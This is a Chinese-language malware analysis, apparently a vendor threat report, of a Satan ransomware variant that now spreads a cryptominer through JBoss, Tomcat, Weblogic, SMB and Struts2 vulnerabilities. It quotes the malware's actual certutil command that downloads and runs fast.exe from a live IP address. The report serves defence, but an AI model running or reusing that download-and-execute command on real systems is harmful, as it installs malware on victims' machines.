一、概述

撒旦（Satan）勒索病毒在2017年初被外媒曝光，被曝光后，撒旦（Satan）勒索病毒并没有停止攻击的脚步，反而不断进行升级优化，跟安全软件做持久性的对抗。腾讯御见威胁情报中心在2018年4月曝光了撒旦（Satan）勒索病毒变种携永恒之蓝卷土归来。

腾讯御见威胁情报中心6月发现撒旦（Satan）勒索病毒的传播方式升级，不光使用永恒之蓝漏洞攻击，还携带更多漏洞攻击模块：包括JBoss反序列化漏洞（CVE-2017-12149）、JBoss默认配置漏洞(CVE-2010-0738)、Tomcat任意文件上传漏洞（CVE-2017-12615）、Tomcat web管理后台弱口令爆破、Weblogic WLS 组件漏洞（CVE-2017-10271），使该病毒的感染扩散能力、影响范围得以显著增强。

御见威胁情报中心曾多次曝光satan勒索病毒变种的动向，开发了4.2版之前的解密工具，为多家企业客户解密成功，获得客户的好评。

上周，腾讯御见威胁情报中心再次监测发现最新的撒旦（Satan）病毒，分析发现，该变种的传播方式与今年之前发现的版本类似，都有利用JBoss、Tomcat、Weblogic等多个组件漏洞以及永恒之蓝漏洞进行攻击。新变种增加了Apache Struts2漏洞攻击模块，攻击范围和威力进一步提升。最出人意料的是，Satan病毒放弃了此前的勒索，开始转行传播挖矿木马。

我们猜测，由于此前的satan勒索病毒的算法存在“缺陷”，可以被进行完美解密，从而使得勒索作者无法收到赎金。因此本次变种开始改行挖矿，不仅可以稳定的获得收入，还可以避免很快的暴露（由于挖矿除了会让机器稍微卡慢一点，给用户的其他感官不强，因此一般用户很难察觉到被挖矿）。

当然也可能是作者在“憋大招”，彻底的重构加解密模块，使得难以被解密，因此开发过程可能需要一点时间，先拿挖矿来做过渡。具体什么原因尚不得而知，腾讯御见威胁情报中心会持续对Satan病毒进行监控。

Satan病毒变种攻击挖矿流程

二、详细分析

1、Downloader（fast.exe）分析

作为payload执行后下载的第一个木马，fast.exe负责主要负责下载执行其他木马，包括扫描攻击模块母体conn.exe，以及挖矿木马下载模块srv.exe。

文件下载代码

下载执行conn.exe、srv.exe

2、扫描攻击模块（conn.exe）分析：

conn.exe为扫描攻击模块，利用以下漏洞进行攻击:

JBoss反序列化漏洞(CVE-2013-4810)
JBoss默认配置漏洞(CVE-2010-0738)
Tomcat任意文件上传漏洞（CVE-2017-12615）
Tomcat web管理后台弱口令爆破
Weblogic WLS 组件漏洞（CVE-2017-10271）
Windows SMB远程代码执行漏洞MS17-010
Apache Struts2远程代码执行漏洞S2-045（新增）
Apache Struts2远程代码执行漏洞S2-057（新增）

入侵成功后，会执行命令行下载病毒文件，继续扫描和入侵其他的机器并植入挖矿木马，执行的命令行为：

certutil.exe -urlcache -split -f http://111.90.158.225/d/fast.exe c:/fast.exe&cmd.exe /c c:\fast.exe

本次扫描攻击模块跟之前的版本一致，具体的分析详见御见威胁情报中心之前的分析文章：《撒旦（Satan）勒索蠕虫最新变种攻击方式解析》（https://mp.weixin.qq.com/s/WYWYQ_Ll22G8-FLX7cZsMw）

本次对新样本新增的两个Apache Struts2漏洞利用进行分析：

a、Apache Struts2远程命令执行漏洞S2-045

漏洞CVE编号CVE-2017-5638，Struts2组件代码逻辑导致在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行。黑客可在上传文件时精心构造HTTP请求头中的Content-Type值来触发该漏洞，进而执行任意指令。样本通过构造POC，在漏洞利用成功后执行命令下载执行fast.exe。